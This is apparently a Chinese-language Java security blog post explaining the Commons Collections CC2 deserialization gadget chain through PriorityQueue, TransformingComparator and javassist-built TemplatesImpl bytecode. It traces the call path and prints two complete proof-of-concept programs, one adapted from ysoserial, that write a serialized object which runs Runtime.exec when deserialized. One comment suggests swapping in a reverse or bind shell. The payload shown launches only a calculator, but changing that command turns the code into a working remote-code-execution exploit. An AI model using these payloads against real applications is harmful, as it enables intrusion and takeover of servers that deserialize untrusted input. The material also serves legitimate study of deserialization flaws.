CCchain1-7

原文JAVA安全-学习路线指南(持续更新) - Erosion2020 - 博客园

CC1

1

CC2

这里只记录原始的POC和新的ClassPoolPOC

PriorityQueue

TransformingComparatororg.apache.commons.collections4.comparators 包中的一个比较器的装饰器类,这个类重写了 compare 方法,而 compare 方法中调用了 Transformertransform 方法,而CC链的最终目的都是为了调用 TransfromerConstantTransformer InvokerTransformer 这类的,所以可以配合起来触发攻击链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.apache.commons.collections4.comparators;
......
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private static final long serialVersionUID = 3456940356043606220L;
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
......
// 重点
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
......
}

Java中的优先权队列的一些重要代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 往队列中添加数据
public boolean add(E e) {
return offer(e);
}

public boolean offer(E e) {
...
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

private void siftUp(int k, E x) {
if (comparator != null)
// 重点关注这个方法
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
// 使用比较器来调整元素位置
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
// 加入多个元素时,调用heapify,heapify可以把所有元素的顺序都调整好
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
// 关键点在于调用了comparator的compore方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

将PQ中的 compare 方法通过 TransformingComparator 来创建,就可以获得以下 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static void main2() throws Exception {
Transformer[] transformer_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformer_exec);

PriorityQueue queue = new PriorityQueue();

queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
// 使用TransformingComparator获取到一个能执行调用链代码的比较器
TransformingComparator transformingComparator = new TransformingComparator(chain);
// 通过反射将比较器设置到queue中
comparator.set(queue, transformingComparator);

FileOutputStream fos = new FileOutputStream(fileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(fileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = (Object) ois.readObject();
}

其调用过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// PriorityQueue.readObject
private void readObject(java.io.ObjectInputStream s)
...
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
// 由于compare被覆盖,这里的compare会调用到TransformingComparator.compare
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
// 在TransformingComparator.compare中触发调用链代码的transform方法,从而执行我们想要的逻辑
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PriorityQueue.readObject
-> .heapify
-> .siftDown
-> .siftDownUsingComparator
-> .compare

-> TransformingComparator.compare
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()

-> InvokerTransformer.transform()
·Method.invoke()
·Class.getMethod()
-> InvokerTransformer.transform()
·Method.invoke()
·Runtime.getRuntime()
-> InvokerTransformer.transform()
·Method.invoke()
·Runtime.exec()

ClassPool

ClassPooljavassist 库中的一个核心类,它提供了一个管理和操作字节码的机制

在 Java 反序列化漏洞利用中,ClassPool 主要用于动态生成、修改和加载字节码

ClassPool 在 CC2 攻击链中的作用是生成恶意的字节码(如构造恶意的 TemplatesImpl 或其他类),并通过反序列化漏洞将它们加载到内存中,最终执行恶意代码。攻击者可以利用 ClassPool 来生成一个包含恶意静态代码块的类,在类加载时自动触发恶意操作

ClassPool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import javassist.*;

public class JavassistExample {
public static void main(String[] args) throws Exception {
// 创建一个 ClassPool 对象
ClassPool pool = ClassPool.getDefault();
// 创建一个新的 CtClass(相当于 Java 类)
CtClass ctClass = pool.makeClass("com.example.MyClass");
// 添加一个方法
CtMethod ctMethod = CtNewMethod.make(
"public void sayHello() { System.out.println(\"Hello from Javassist!\"); }",
ctClass);
String construtorCMD = "System.out.println(\"Hello 构造方法\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.addMethod(ctMethod);
// 转换为 Java 类并加载
Class<?> clazz = ctClass.toClass();
// 在调用newInstance时,会触发构造函数中的逻辑,输出"Hello 构造方法"
Object instance = clazz.newInstance();
// 调用sayHello方法,会输出"Hello from Javassist!"
clazz.getMethod("sayHello").invoke(instance);
}
}

ysoserialPOC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
public class CommonsCollections2 {
static String serialFileName = "commons-collections2.ser";

public static void main(String[] args) throws Exception {
cc2byYsoSerial();
verify();
}

public static void verify() throws Exception {
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}

public static void cc2byYsoSerial() throws Exception {

String executeCode = "Runtime.getRuntime().exec(\"calc\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC);

final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes};

Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte);

Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr");

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer, "newTransformer");

Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = new Object[]{templates,1};
queueField.set(queue,queueArray);

FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(queue);
oos.flush();
oos.close();
}
}